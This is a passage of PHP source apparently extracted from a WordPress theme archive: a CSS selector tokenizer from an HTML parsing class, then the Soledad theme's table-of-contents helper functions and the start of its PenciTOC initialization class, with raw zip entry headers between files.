				foreach ($tokens as $rules)
				{
					if (count($tokens2))  $tokens2[] = array("type" => "combine", "combine" => "or");
					$rules = array_reverse($rules);
					foreach ($rules as $rule)  $tokens2[] = $rule;
				}

				$tokens = $tokens2;
			}

			$result = array();
			$rules = array();
			$selector = $order;
			foreach ($tokens as $token)
			{
				if ($token["type"] != "combine")  array_unshift($selector[$token["type"]], $token);
				else
				{
					foreach ($selector as $vals)
					{
						foreach ($vals as $token2)
						{
							if (($endnots && $token2["not"]) || (!$endnots && !$token2["not"]))  array_unshift($result, $token2);
						}

						foreach ($vals as $token2)
						{
							if (($endnots && !$token2["not"]) || (!$endnots && $token2["not"]))  array_unshift($result, $token2);
						}
					}

					if (!$splitrules || $token["combine"] != "or")  array_unshift($result, $token);
					else if ($token["combine"] == "or")
					{
						if (count($result))  $rules[] = $result;

						$result = array();
					}

					$selector = $order;
				}
			}

			foreach ($selector as $vals)
			{
				foreach ($vals as $token2)
				{
					if (($endnots && $token2["not"]) || (!$endnots && !$token2["not"]))  array_unshift($result, $token2);
				}

				foreach ($vals as $token2)
				{
					if (($endnots && !$token2["not"]) || (!$endnots && $token2["not"]))  array_unshift($result, $token2);
				}
			}

			if ($splitrules)
			{
				if (count($result))  $rules[] = $result;

				$result = $rules;
			}
			else
			{
				// Ignore a stray group combiner at the end.
				if (count($result) && $result[0]["type"] == "combine" && $result[0]["combine"] == "or")  array_shift($result);
			}

			return $result;
		}

		public static function ParseSelector($query, $splitrules = false)
		{
			// Tokenize query into individual action steps.
			$query = trim($query);
			$tokens = array();
			$lastor = 0;
			$a = ord("A");
			$a2 = ord("a");
			$f = ord("F");
			$f2 = ord("f");
			$z = ord("Z");
			$z2 = ord("z");
			$backslash = ord("\\");
			$hyphen = ord("-");
			$underscore = ord("_");
			$pipe = ord("|");
			$asterisk = ord("*");
			$colon = ord(":");
			$period = ord(".");
			$zero = ord("0");
			$nine = ord("9");
			$cr = ord("\r");
			$nl = ord("\n");
			$ff = ord("\f");
			$cx = 0;
			$cy = strlen($query);
			$state = "next_selector";
			do
			{
				$currcx = $cx;
				$currstate = $state;

				switch ($state)
				{
					case "next_selector":
					{
						// This state is necessary to handle the :not(selector) function.
						$token = array("not" => false);
					}
					case "selector":
					{
						if ($cx >= $cy)  break;

						switch ($query[$cx])
						{
							case "#":
							{
								$token["type"] = "id";
								$state = "ident_name";
								$allownamespace = false;
								$identasterisk = false;
								$allowperiod = false;
								$namespace = false;
								$range = true;
								$ident = "";
								$nextstate = "selector_ident_result";
								$cx++;

								break;
							}
							case ".":
							{
								$token["type"] = "class";
								$state = "ident";
								$allownamespace = false;
								$identasterisk = false;
								$allowperiod = false;
								$nextstate = "selector_ident_result";
								$cx++;

								break;
							}
							case "[":
							{
								$token["type"] = "attr";
								$state = "ident";
								$state2 = "attr";
								$allownamespace = true;
								$identasterisk = false;
								$allowperiod = false;
								$nextstate = "selector_ident_result";
								$cx++;

								// Find a non-whitespace character.
								while ($cx < $cy && ($query[$cx] == " " || $query[$cx] == "\t" || $query[$cx] == "\r" || $query[$cx] == "\n" || $query[$cx] == "\f"))  $cx++;

								break;
							}
							case ":":
							{
								$cx++;
								if ($cx >= $cy || $query[$cx] != ":")  $token["type"] = "pseudo-class";
								else
								{
									$token["type"] = "pseudo-element";
									$cx++;
								}

								$state = "ident";
								$allownamespace = true;
								$identasterisk = false;
								$allowperiod = false;
								$nextstate = "selector_ident_result";

								break;
							}
							case ",":
							case "+":
							case ">":
							case "~":
							case " ":
							case "\r":
							case "\n":
							case "\t":
							case "\f":
							{
								$state = "combine";

								break;
							}
							default:
							{
								$token["type"] = "element";
								$state = "ident";
								$allownamespace = true;
								$identasterisk = true;
								$allowperiod = false;
								$nextstate = "selector_ident_result";

								break;
							}
						}

						break;
					}
					case "selector_ident_result":
					{
						switch ($token["type"])
						{
							case "id":
							{
								$token["id"] = $ident;
								$tokens[] = $token;
								$state = ($token["not"] ? "negate_close" : "next_selector");

								break;
							}
							case "class":
							{
								$token["class"] = $ident;
								$tokens[] = $token;
								$state = ($token["not"] ? "negate_close" : "next_selector");

								break;
							}
							case "element":
							{
								$token["namespace"] = $namespace;
								$token["tag"] = $ident;
								$tokens[] = $token;
								$state = ($token["not"] ? "negate_close" : "next_selector");

								break;
							}
							case "attr":
							{
								if ($state2 == "attr")
								{
									$token["namespace"] = $namespace;
									$token[$state2] = $ident;

									// Find a non-whitespace character.
									while ($cx < $cy && ($query[$cx] == " " || $query[$cx] == "\t" || $query[$cx] == "\r" || $query[$cx] == "\n" || $query[$cx] == "\f"))  $cx++;

									if ($cx >= $cy || $query[$cx] == "]")
									{
										$token["cmp"] = false;
										$tokens[] = $token;
										$state = ($token["not"] ? "negate_close" : "next_selector");
										$cx++;
									}
									else
									{
										if ($query[$cx] == "=")
										{
											$token["cmp"] = "=";
											$cx++;
										}
										else if ($cx + 1 < $cy && ($query[$cx] == "^" || $query[$cx] == "$" || $query[$cx] == "*" || $query[$cx] == "~" || $query[$cx] == "|") && $query[$cx + 1] == "=")
										{
											$token["cmp"] = substr($query, $cx, 2);
											$cx += 2;
										}
										else
										{
											return array("success" => false, "error" => "Unknown or invalid attribute comparison operator '" . $query[$cx] . "' detected at position " . $cx . ".", "errorcode" => "invalid_attr_compare", "selector" => $query, "startpos" => $currcx, "pos" => $cx, "state" => $currstate, "tokens" => self::ReorderSelectorTokens(array_slice($tokens, 0, $lastor), $splitrules), "splitrules" => $splitrules);
										}

										// Find a non-whitespace character.
										while ($cx < $cy && ($query[$cx] == " " || $query[$cx] == "\t" || $query[$cx] == "\r" || $query[$cx] == "\n" || $query[$cx] == "\f"))  $cx++;

										if ($cx < $cy && ($query[$cx] == "\"" || $query[$cx] == "'"))
										{
											$state = "string";
											$endchr = ord($query[$cx]);
											$cx++;
										}
										else
										{
											$state = "ident";
											$allownamespace = false;
											$identasterisk = false;
											$allowperiod = false;
										}

										$state2 = "val";
										$nextstate = "selector_ident_result";
									}
								}
								else if ($state2 == "val")
								{
									$token[$state2] = $ident;

									// Find a non-whitespace character.
									while ($cx < $cy && ($query[$cx] == " " || $query[$cx] == "\t" || $query[$cx] == "\r" || $query[$cx] == "\n" || $query[$cx] == "\f"))  $cx++;

									$tokens[] = $token;
									$state = ($token["not"] ? "negate_close" : "next_selector");

									if ($cx < $cy && $query[$cx] == "]")  $cx++;
								}

								break;
							}
							case "pseudo-class":
							case "pseudo-element":
							{
								$ident = strtolower($ident);

								// Deal with CSS1 and CSS2 compatibility.
								if ($ident === "first-line" || $ident === "first-letter" || $ident === "before" || $ident === "after")  $token["type"] = "pseudo-element";

								if ($token["type"] == "pseudo-class" && $ident == "not")
								{
									if ($token["not"])  return array("success" => false, "error" => "Invalid :not() embedded inside another :not() detected at position " . $cx . ".", "errorcode" => "invalid_not", "selector" => $query, "startpos" => $currcx, "pos" => $cx, "state" => $currstate, "tokens" => self::ReorderSelectorTokens(array_slice($tokens, 0, $lastor), $splitrules), "splitrules" => $splitrules);
									if ($cx >= $cy || $query[$cx] != "(")  return array("success" => false, "error" => "Missing '(' detected at position " . $cx . ".", "errorcode" => "invalid_not", "selector" => $query, "startpos" => $currcx, "pos" => $cx, "state" => $currstate, "tokens" => self::ReorderSelectorTokens(array_slice($tokens, 0, $lastor), $splitrules), "splitrules" => $splitrules);

									unset($token["type"]);
									$token["not"] = true;

									$state = "selector";
									$cx++;

									// Find a non-whitespace character.
									while ($cx < $cy && ($query[$cx] == " " || $query[$cx] == "\t" || $query[$cx] == "\r" || $query[$cx] == "\n" || $query[$cx] == "\f"))  $cx++;
								}
								else
								{
									$token["pseudo"] = $ident;

									if ($cx < $cy && $query[$cx] == "(")
									{
										$token["expression"] = "";
										$ident = "";
										$state = "pseudo_expression";
										$cx++;
									}
									else
									{
										$token["expression"] = false;
										$tokens[] = $token;
										$state = ($token["not"] ? "negate_close" : "next_selector");
									}
								}

								break;
							}
						}

						break;
					}
					case "negate_close":
					{
						// Find a non-whitespace character.
						while ($cx < $cy && ($query[$cx] == " " || $query[$cx] == "\t" || $query[$cx] == "\r" || $query[$cx] == "\n" || $query[$cx] == "\f"))  $cx++;

						if ($cx < $cy && $query[$cx] != ")")  return array("success" => false, "error" => "Invalid :not() close character '" . $query[$cx] . "' detected at position " . $cx . ".", "errorcode" => "invalid_negate_close", "selector" => $query, "startpos" => $currcx, "pos" => $cx, "state" => $currstate, "tokens" => self::ReorderSelectorTokens(array_slice($tokens, 0, $lastor), $splitrules), "splitrules" => $splitrules);

						$cx++;
						$state = "next_selector";

						break;
					}
					case "pseudo_expression":
					{
						$token["expression"] .= $ident;

						// Find a non-whitespace character.
						while ($cx < $cy && ($query[$cx] == " " || $query[$cx] == "\t" || $query[$cx] == "\r" || $query[$cx] == "\n" || $query[$cx] == "\f"))  $cx++;

						if ($cx >= $cy)  break;

						if ($query[$cx] == ")")
						{
							if (substr($token["pseudo"], 0, 4) === "nth-")
							{
								// Convert the expression to an+b syntax.
								$exp = strtolower($token["expression"]);

								if ($exp == "even")  $exp = "2n";
								else if ($exp == "odd")  $exp = "2n+1";
								else
								{
									do
									{
										$currexp = $exp;

										$exp = str_replace(array("++", "+-", "-+", "--"), array("+", "-", "-", "+"), $exp);

									} while ($currexp !== $exp);
								}

								if (substr($exp, 0, 2) == "-n")  $exp = "-1n" . substr($exp, 2);
								else if (substr($exp, 0, 2) == "+n")  $exp = "1n" . substr($exp, 2);
								else if (substr($exp, 0, 1) == "n")  $exp = "1n" . substr($exp, 1);

								$pos = strpos($exp, "n");
								if ($pos === false)
								{
									$token["a"] = 0;
									$token["b"] = (double)$exp;
								}
								else
								{
									$token["a"] = (double)$exp;
									$token["b"] = (double)substr($exp, $pos + 1);
								}

								$token["expression"] = $token["a"] . "n" . ($token["b"] < 0 ? $token["b"] : "+" . $token["b"]);
							}

							$tokens[] = $token;
							$state = ($token["not"] ? "negate_close" : "next_selector");
							$cx++;
						}
						else if ($query[$cx] == "+" || $query[$cx] == "-")
						{
							$ident = $query[$cx];
							$cx++;
						}
						else if ($query[$cx] == "\"" || $query[$cx] == "'")
						{
							$state = "string";
							$endchr = ord($query[$cx]);
							$cx++;
						}
						else
						{
							$val = ord($query[$cx]);

							$state = ($val >= $zero && $val <= $nine ? "ident_name" : "ident");
							$allownamespace = false;
							$identasterisk = false;
							$allowperiod = ($val >= $zero && $val <= $nine);
							$namespace = false;
							$range = true;
							$ident = "";

							$nextstate = "pseudo_expression";
						}

						break;
					}
					case "string":
					{
						$startcx = $cx;
						$ident = "";

						for (; $cx < $cy; $cx++)
						{
							$val = ord($query[$cx]);

							if ($val == $endchr)
							{
								$cx++;

								break;
							}
							else if ($val == $backslash)
							{
								// Escape sequence.
								if ($cx + 1 >= $cy)  $ident .= "\\";
								else
								{
									$cx++;
									$val = ord($query[$cx]);

									if (($val >= $a && $val <= $f) || ($val >= $a2 && $val <= $f2) || ($val >= $zero && $val <= $nine))
									{
										// Unicode (e.g. \0020)
										for ($x = $cx + 1; $x < $cy; $x++)
										{
											$val = ord($query[$x]);
											if (!(($val >= $a && $val <= $f) || ($val >= $a2 && $val <= $f2) || ($val >= $zero && $val <= $nine)))  break;
										}

										$num = hexdec(substr($query, $cx, $x - $cx));
										$cx = $x - 1;

										$ident .= TagFilterStream::UTF8Chr($num);

										// Skip one optional \r\n OR a single whitespace char.
										if ($cx + 2 < $cy && $query[$cx + 1] == "\r" && $query[$cx + 2] == "\n")  $cx += 2;
										else if ($cx + 1 < $cy && ($query[$cx + 1] == " " || $query[$cx + 1] == "\r" || $query[$cx + 1] == "\n" || $query[$cx + 1] == "\t" || $query[$cx + 1] == "\f"))  $cx++;
									}
									else
									{
										$ident .= $query[$cx];
									}
								}
							}
							else
							{
								$ident .= $query[$cx];
							}
						}

						$state = $nextstate;

						break;
					}
					case "ident":
					{
						$namespace = false;
						$range = false;

						if ($cx >= $cy)  break;

						if ($query[$cx] != "-")  $ident = "";
						else
						{
							$ident = "-";
							$cx++;
						}

						$state = "ident_name";

						break;
					}
					case "ident_name":
					{
						// Find the first invalid character.
						$startcx = $cx;
						for (; $cx < $cy; $cx++)
						{
							$val = ord($query[$cx]);

							if ($val != $period && ($val < $zero || $val > $nine))  $allowperiod = false;

							if (($val >= $a && $val <= $z) || ($val >= $a2 && $val <= $z2) || $val == $underscore || $val > 127)
							{
								$ident .= $query[$cx];
							}
							else if ($allowperiod && $val == $period)
							{
								$allowperiod = false;

								$ident .= ".";
							}
							else if ($val == $hyphen || ($val >= $zero && $val <= $nine))
							{
								// Only allowed AFTER the first character.
								if (!$range)  return array("success" => false, "error" => "Invalid identifier character '" . $query[$cx] . "' detected at position " . $cx . ".", "errorcode" => "invalid_ident", "selector" => $query, "startpos" => $currcx, "pos" => $cx, "state" => $currstate, "tokens" => self::ReorderSelectorTokens(array_slice($tokens, 0, $lastor), $splitrules), "splitrules" => $splitrules);

								$allowperiod = false;

								$ident .= $query[$cx];
							}
							else if ($val == $backslash)
							{
								// Escape sequence.
								if ($cx + 1 >= $cy)  $ident .= "\\";
								else
								{
									$cx++;
									$val = ord($query[$cx]);

									if (($val >= $a && $val <= $f) || ($val >= $a2 && $val <= $f2) || ($val >= $zero && $val <= $nine))
									{
										// Unicode (e.g. \0020)
										for ($x = $cx + 1; $x < $cy; $x++)
										{
											$val = ord($query[$x]);
											if (!(($val >= $a && $val <= $f) || ($val >= $a2 && $val <= $f2) || ($val >= $zero && $val <= $nine)))  break;
										}

										$num = hexdec(substr($query, $cx, $x - $cx));
										$cx = $x - 1;

										$ident .= TagFilterStream::UTF8Chr($num);

										// Skip one optional \r\n OR a single whitespace char.
										if ($cx + 2 < $cy && $query[$cx + 1] == "\r" && $query[$cx + 2] == "\n")  $cx += 2;
										else if ($cx + 1 < $cy && ($query[$cx + 1] == " " || $query[$cx + 1] == "\r" || $query[$cx + 1] == "\n" || $query[$cx + 1] == "\t" || $query[$cx + 1] == "\f"))  $cx++;
									}
									else if ($val != $cr && $val != $nl && $val != $ff)
									{
										$ident .= $query[$cx];
									}
								}
							}
							else if ($allownamespace && $val == $pipe && ($cx + 1 >= $cy || $query[$cx + 1] != "="))
							{
								// Handle namespaces (rare).
								if ($ident != "")
								{
									$namespace = $ident;
									$ident = "";
								}

								$allownamespace = false;
							}
							else if ($val == $asterisk)
							{
								// Handle wildcard (*) characters.
								if ($allownamespace && $cx + 1 < $cy && $query[$cx + 1] == "|")
								{
									// Wildcard namespace (*|).
									$namespace = "*";
									$allownamespace = false;
									$cx++;
								}
								else if ($identasterisk)
								{
									if ($ident != "")  return array("success" => false, "error" => "Invalid identifier wildcard character '*' detected at position " . $cx . ".", "errorcode" => "invalid_wildcard_ident", "selector" => $query, "startpos" => $currcx, "pos" => $cx, "state" => $currstate, "tokens" => self::ReorderSelectorTokens(array_slice($tokens, 0, $lastor), $splitrules), "splitrules" => $splitrules);

									$ident = "*";
									$cx++;

									break;
								}
								else
								{
									// End of ident.
									break;
								}
							}
							else
							{
								// End of ident.
								break;
							}

							$range = true;
						}

						if ($ident == "")  return array("success" => false, "error" => "Missing or invalid identifier at position " . $cx . ".", "errorcode" => "missing_ident", "selector" => $query, "startpos" => $currcx, "pos" => $cx, "state" => $currstate, "tokens" => self::ReorderSelectorTokens(array_slice($tokens, 0, $lastor), $splitrules), "splitrules" => $splitrules);

						$state = $nextstate;

						break;
					}
					case "combine":
					{
						$token = array("type" => "combine");

						// Find a non-whitespace character.
						while ($cx < $cy && ($query[$cx] == " " || $query[$cx] == "\t" || $query[$cx] == "\r" || $query[$cx] == "\n" || $query[$cx] == "\f"))  $cx++;

						if ($cx < $cy)
						{
							switch ($query[$cx])
							{
								case ",":
								{
									$token["combine"] = "or";
									$lastor = count($tokens);
									$cx++;

									break;
								}
								case "+":
								{
									$token["combine"] = "prev-sibling";
									$cx++;

									break;
								}
								case ">":
								{
									$token["combine"] = "prev-parent";
									$cx++;

									break;
								}
								case "~":
								{
									$token["combine"] = "any-prev-sibling";
									$cx++;

									break;
								}
								default:
								{
									$token["combine"] = "any-parent";

									break;
								}
							}

							if (!count($tokens) || $tokens[count($tokens) - 1]["type"] == "combine")  return array("success" => false, "error" => "Invalid combiner '" . $token["type"] . "' detected at position " . $cx . ".", "errorcode" => "invalid_combiner", "selector" => $query, "startpos" => $currcx, "pos" => $cx, "state" => $currstate, "tokens" => self::ReorderSelectorTokens(array_slice($tokens, 0, $lastor), $splitrules), "splitrules" => $splitrules);

							$tokens[] = $token;

							// Find a non-whitespace character.
							while ($cx < $cy && ($query[$cx] == " " || $query[$cx] == "\t" || $query[$cx] == "\r" || $query[$cx] == "\n" || $query[$cx] == "\f"))  $cx++;
						}

						$state = "next_selector";

						break;
					}
				}
			} while ($currstate !== $state || $currcx !== $cx);

			return array("success" => true, "selector" => $query, "tokens" => self::ReorderSelectorTokens($tokens, $splitrules), "splitrules" => $splitrules);
		}

		public static function GetParentPos($stack, $tagname, $start = 0, $attrs = array())
		{
			$y = count($stack);
			for ($x = $start; $x < $y; $x++)
			{
				if ($stack[$x]["tag_name"] === $tagname)
				{
					$found = true;
					foreach ($attrs as $key => $val)
					{
						if (!isset($stack[$x]["attrs"][$key]))  $found = false;
						else if (is_string($stack[$x]["attrs"][$key]) && is_string($val) && stripos($stack[$x]["attrs"][$key], $val) === false)  $found = false;
						else if (is_array($stack[$x]["attrs"][$key]))
						{
							if (is_string($val))  $val = explode(" ", $val);

							foreach ($val as $val2)
							{
								if ($val2 !== "" && !isset($stack[$x]["attrs"][$key][$val2]))  $found = false;
							}
						}
					}

					if ($found)  return $x;
				}
			}

			return false;
		}
	}
?>PK     N\v,  ,    inc/toc/helper.phpnu [        <?php

namespace Soledad\Table_Of_Contents\String;

/**
 * Replace `<br />` tags with parameter.
 *
 * @since 2.0.8
 *
 * @param string $string
 * @param string $to
 *
 * @return string
 */
function br2( $string, $to = "\r\n" ) {

	$string = preg_replace( '`<br[/\s]*>`i', $to, $string );

	return $string;
}

/**
 * Replace `<br />` tags with new lines.
 *
 * @link https://stackoverflow.com/a/27509016/5351316
 *
 * @since 2.0.8
 *
 * @param string $string
 *
 * @return string
 */
function br2nl( $string ) {

	return br2( $string );
}

/**
 * Pulled from WordPress formatting functions.
 *
 * Edited to add space before self closing tags.
 *
 * @since 2.0
 *
 * @param string $text
 *
 * @return string|string[]
 */
function force_balance_tags( $text ) {
	$tagstack  = array();
	$stacksize = 0;
	$tagqueue  = '';
	$newtext   = '';
	// Known single-entity/self-closing tags
	$single_tags = array( 'area', 'base', 'basefont', 'br', 'col', 'command', 'embed', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param', 'source' );
	// Tags that can be immediately nested within themselves
	$nestable_tags = array( 'blockquote', 'div', 'object', 'q', 'span' );

	// WP bug fix for comments - in case you REALLY meant to type '< !--'
	$text = str_replace( '< !--', '<    !--', $text );
	// WP bug fix for LOVE <3 (and other situations with '<' before a number)
	$text = preg_replace( '#<([0-9]{1})#', '&lt;$1', $text );

	/**
	 * Matches supported tags.
	 *
	 * To get the pattern as a string without the comments paste into a PHP
	 * REPL like `php -a`.
	 *
	 * @see https://html.spec.whatwg.org/#elements-2
	 * @see https://w3c.github.io/webcomponents/spec/custom/#valid-custom-element-name
	 *
	 * @example
	 * ~# php -a
	 * php > $s = [paste copied contents of expression below including parentheses];
	 * php > echo $s;
	 */
	$tag_pattern = (
		'#<' . // Start with an opening bracket.
		'(/?)' . // Group 1 - If it's a closing tag it'll have a leading slash.
		'(' . // Group 2 - Tag name.
		// Custom element tags have more lenient rules than HTML tag names.
		'(?:[a-z](?:[a-z0-9._]*)-(?:[a-z0-9._-]+)+)' .
		'|' .
		// Traditional tag rules approximate HTML tag names.
		'(?:[\w:]+)' .
		')' .
		'(?:' .
		// We either immediately close the tag with its '>' and have nothing here.
		'\s*' .
		'(/?)' . // Group 3 - "attributes" for empty tag.
		'|' .
		// Or we must start with space characters to separate the tag name from the attributes (or whitespace).
		'(\s+)' . // Group 4 - Pre-attribute whitespace.
		'([^>]*)' . // Group 5 - Attributes.
		')' .
		'>#' // End with a closing bracket.
	);

	while ( preg_match( $tag_pattern, $text, $regex ) ) {
		$full_match        = $regex[0];
		$has_leading_slash = ! empty( $regex[1] );
		$tag_name          = $regex[2];
		$tag               = strtolower( $tag_name );
		$is_single_tag     = in_array( $tag, $single_tags, true );
		$pre_attribute_ws  = isset( $regex[4] ) ? $regex[4] : '';
		$attributes        = trim( isset( $regex[5] ) ? $regex[5] : $regex[3] );
		$has_self_closer   = '/' === substr( $attributes, -1 );

		$newtext .= $tagqueue;

		$i = strpos( $text, $full_match );
		$l = strlen( $full_match );

		// Clear the shifter.
		$tagqueue = '';
		if ( $has_leading_slash ) { // End Tag.
			// If too many closing tags.
			if ( $stacksize <= 0 ) {
				$tag = '';
				// Or close to be safe $tag = '/' . $tag.

				// If stacktop value = tag close value, then pop.
			} elseif ( $tagstack[ $stacksize - 1 ] === $tag ) { // Found closing tag.
				$tag = '</' . $tag . '>'; // Close Tag.
				array_pop( $tagstack );
				$stacksize--;
			} else { // Closing tag not at top, search for it.
				for ( $j = $stacksize - 1; $j >= 0; $j-- ) {
					if ( $tagstack[ $j ] === $tag ) {
						// Add tag to tagqueue.
						for ( $k = $stacksize - 1; $k >= $j; $k-- ) {
							$tagqueue .= '</' . array_pop( $tagstack ) . '>';
							$stacksize--;
						}
						break;
					}
				}
				$tag = '';
			}
		} else { // Begin Tag.
			if ( $has_self_closer ) { // If it presents itself as a self-closing tag...
				// ...but it isn't a known single-entity self-closing tag, then don't let it be treated as such and
				// immediately close it with a closing tag (the tag will encapsulate no text as a result)
				if ( ! $is_single_tag ) {
					$attributes = trim( substr( $attributes, 0, -1 ) ) . "></$tag";
				}
			} elseif ( $is_single_tag ) { // ElseIf it's a known single-entity tag but it doesn't close itself, do so
				$pre_attribute_ws = ' ';
				$attributes      .= 0 < strlen( $attributes ) ? ' /' : '/'; // EDIT: If there are attributes, add space before closing tag to match how WP insert br, hr and img tags.
			} else { // It's not a single-entity tag.
				// If the top of the stack is the same as the tag we want to push, close previous tag.
				if ( $stacksize > 0 && ! in_array( $tag, $nestable_tags, true ) && $tagstack[ $stacksize - 1 ] === $tag ) {
					$tagqueue = '</' . array_pop( $tagstack ) . '>';
					$stacksize--;
				}
				$stacksize = array_push( $tagstack, $tag );
			}

			// Attributes.
			if ( $has_self_closer && $is_single_tag ) {
				// We need some space - avoid <br/> and prefer <br />.
				$pre_attribute_ws = ' ';
			}

			$tag = '<' . $tag . $pre_attribute_ws . $attributes . '>';
			// If already queuing a close tag, then put this tag on too.
			if ( ! empty( $tagqueue ) ) {
				$tagqueue .= $tag;
				$tag       = '';
			}
		}
		$newtext .= substr( $text, 0, $i ) . $tag;
		$text     = substr( $text, $i + $l );
	}

	// Clear Tag Queue.
	$newtext .= $tagqueue;

	// Add remaining text.
	$newtext .= $text;

	while ( $x = array_pop( $tagstack ) ) {
		$newtext .= '</' . $x . '>'; // Add remaining tags to close.
	}

	// WP fix for the bug with HTML comments.
	$newtext = str_replace( '< !--', '<!--', $newtext );
	$newtext = str_replace( '<    !--', '< !--', $newtext );

	return $newtext;
}

/**
 * Multibyte substr_replace(). The mbstring library does not come with a multibyte equivalent of substr_replace().
 * This function behaves exactly like substr_replace() even when the arguments are arrays.
 *
 * @link https://gist.github.com/stemar/8287074
 *
 * @since 2.0
 *
 * @param      $string
 * @param      $replacement
 * @param      $start
 * @param null $length
 *
 * @return array|string
 */
function mb_substr_replace( $string, $replacement, $start, $length = null ) {

	if ( is_array( $string ) ) {

		$num = count( $string );

		// $replacement
		$replacement = is_array( $replacement ) ? array_slice( $replacement, 0, $num ) : array_pad( array( $replacement ), $num, $replacement );

		// $start
		if ( is_array( $start ) ) {
			$start = array_slice( $start, 0, $num );
			foreach ( $start as $key => $value ) {
				$start[ $key ] = is_int( $value ) ? $value : 0;
			}
		} else {
			$start = array_pad( array( $start ), $num, $start );
		}

		// $length
		if ( ! isset( $length ) ) {
			$length = array_fill( 0, $num, 0 );
		} elseif ( is_array( $length ) ) {
			$length = array_slice( $length, 0, $num );
			foreach ( $length as $key => $value ) {
				$length[ $key ] = isset( $value ) ? ( is_int( $value ) ? $value : $num ) : 0;
			}
		} else {
			$length = array_pad( array( $length ), $num, $length );
		}

		// Recursive call
		return array_map( __FUNCTION__, $string, $replacement, $start, $length );
	}

	preg_match_all( '/./us', (string) $string, $smatches );
	preg_match_all( '/./us', (string) $replacement, $rmatches );

	if ( $length === null ) {

		$length = mb_strlen( $string );
	}

	array_splice( $smatches[0], $start, $length, $rmatches[0] );

	return join( $smatches[0] );
}

/**
 * Returns a string with all items from the $find array replaced with their matching
 * items in the $replace array.  This does a one to one replacement (rather than globally).
 *
 * This function is multibyte safe.
 *
 * $find and $replace are arrays, $string is the haystack.  All variables are passed by reference.
 *
 * @since  1.0
 *
 * @param bool   $find
 * @param bool   $replace
 * @param string $string
 *
 * @return mixed|string
 */
function mb_find_replace( &$find = false, &$replace = false, &$string = '' ) {

	if ( is_array( $find ) && is_array( $replace ) && $string ) {


		if ( function_exists( 'mb_strpos' ) ) {

			for ( $i = 0; $i < count( $find ); $i ++ ) {

				$needle = $find[ $i ];
				$start  = mb_strpos( $string, $needle );

				// If heading can not be found, let try decoding entities to see if it can be found.
				if ( false === $start ) {

					$needle = html_entity_decode(
						$needle,
						ENT_QUOTES,
						get_option( 'blog_charset' )
					);

					$start = mb_strpos( $string, $needle );
				}

				/*
				 * `mb_strpos()` can return `false`. Only process `mb_substr_replace()` if position in string is found.
				 */
				if ( is_int( $start ) ) {

					$length = mb_strlen( $needle );
					$string = mb_substr_replace( $string, $replace[ $i ], $start, $length );
				}

			}

		} else {

			for ( $i = 0; $i < count( $find ); $i ++ ) {

				$start  = strpos( $string, $find[ $i ] );
				$length = strlen( $find[ $i ] );

				/*
				 * `strpos()` can return `false`. Only process `substr_replace()` if position in string is found.
				 */
				if ( is_int( $start ) ) {

					$string = substr_replace( $string, $replace[ $i ], $start, $length );
				}
			}
		}
	}

	return $string;
}
function get_penci_toc_list( $post = null, $apply_content_filter = true ) {

	if ( ! $post instanceof \WP_Post ) {

		$post = get_post( $post );
	}

	if ( $apply_content_filter ) {

		$penciPost = new \SoledadToc_Post( $post );

	} else {

		$penciPost = new \SoledadToc_Post( $post, false );
	}

	return $penciPost->getTOCList();
}

/**
 * Display the current post's TOC list or supplied post's TOC list.
 *
 * @access public
 * @since  2.0
 *
 * @param null|WP_Post $post                 An instance of WP_Post
 * @param bool         $apply_content_filter Whether or not to apply `the_content` filter when processing post for headings.
 */
function penci_toc_list( $post = null, $apply_content_filter = true ) {

	echo get_penci_toc_list( $post, $apply_content_filter );
}

/**
 * Get the current post's TOC content block or supplied post's TOC content block.
 *
 * @access public
 * @since  2.0
 *
 * @param int|null|WP_Post $post                 An instance of WP_Post or post ID. Defaults to current post.
 * @param bool             $apply_content_filter Whether or not to apply `the_content` filter when processing post for headings.
 *
 * @return string
 */
function get_penci_toc_block( $post = null, $apply_content_filter = true ) {

	if ( ! $post instanceof \WP_Post ) {

		$post = get_post( $post );
	}

	if ( $apply_content_filter ) {

		$penciPost = new \SoledadToc_Post( $post );

	} else {

		$penciPost = new \SoledadToc_Post( $post, false );
	}

	return $penciPost->getTOC();
}

/**
 * Display the current post's TOC content or supplied post's TOC content.
 *
 * @access public
 * @since  2.0
 *
 * @param null|WP_Post $post                 An instance of WP_Post
 * @param bool         $apply_content_filter Whether or not to apply `the_content` filter when processing post for headings.
 */
function penci_toc_block( $post = null, $apply_content_filter = true ) {

	echo get_penci_toc_block( $post, $apply_content_filter );
}
PK     N\4VH  VH    inc/toc/init.phpnu [        <?php

use function Soledad\Table_Of_Contents\String\mb_find_replace;

// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'PenciTOC' ) ) {
	/**
	 * Class PenciTOC
	 */
	final class PenciTOC {
		private static $instance;
		private static $store = array();

		public function __construct() {
			/* Do nothing here */
		}

		public static function instance() {
			global $post;
			if ( ! self::is_eligible( $post ) || ! is_singular() ) {
				return false;
			}
			if ( ! isset( self::$instance ) && ! ( self::$instance instanceof self ) ) {
				self::$instance = new self();
				self::includes();
				self::hooks();
			}

			return self::$instance;
		}

		private static function includes() {
			require_once PENCI_SOLEDAD_DIR . '/inc/toc/helper.php';
			require_once PENCI_SOLEDAD_DIR . '/inc/toc/helper_new.php';
			require_once PENCI_SOLEDAD_DIR . '/inc/toc/progress.php';
		}

		private static function hooks() {
			add_action( 'wp_enqueue_scripts', array( __CLASS__, 'enqueueScripts' ) );
			// Run after shortcodes are interpreted (priority 10).
			add_filter( 'the_content', array( __CLASS__, 'the_content' ), 100 );
			add_shortcode( 'penci-toc', array( __CLASS__, 'shortcode' ) );
			add_shortcode( apply_filters( 'penci_toc_shortcode', 'toc' ), array( __CLASS__, 'shortcode' ) );
			add_action( 'soledad_theme/custom_css', array( __CLASS__, 'penci_toc_style' ) );
		}

		public static function enqueueScripts() {
			$js_vars = array();
			wp_enqueue_script( 'js-cookies' );
			wp_register_script( 'penci-smoothscroll2', PENCI_SOLEDAD_URL . '/js/smooth-scroll.min.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
			wp_register_script(
				'penci-toc-lib',
				PENCI_SOLEDAD_URL . '/inc/toc/penci-toc.js',
				array(
					'jquery',
					'js-cookies',
					'penci-smoothscroll2',
				),
				PENCI_SOLEDAD_VERSION,
				true
			);
			if ( get_theme_mod( 'penci_toc_smooth_scroll', true ) ) {
				$js_vars['smooth_scroll'] = true;
			}
			if ( penci_get_setting( 'penci_toc_heading_text' ) && ! get_theme_mod( 'penci_toc_visibility' ) ) {
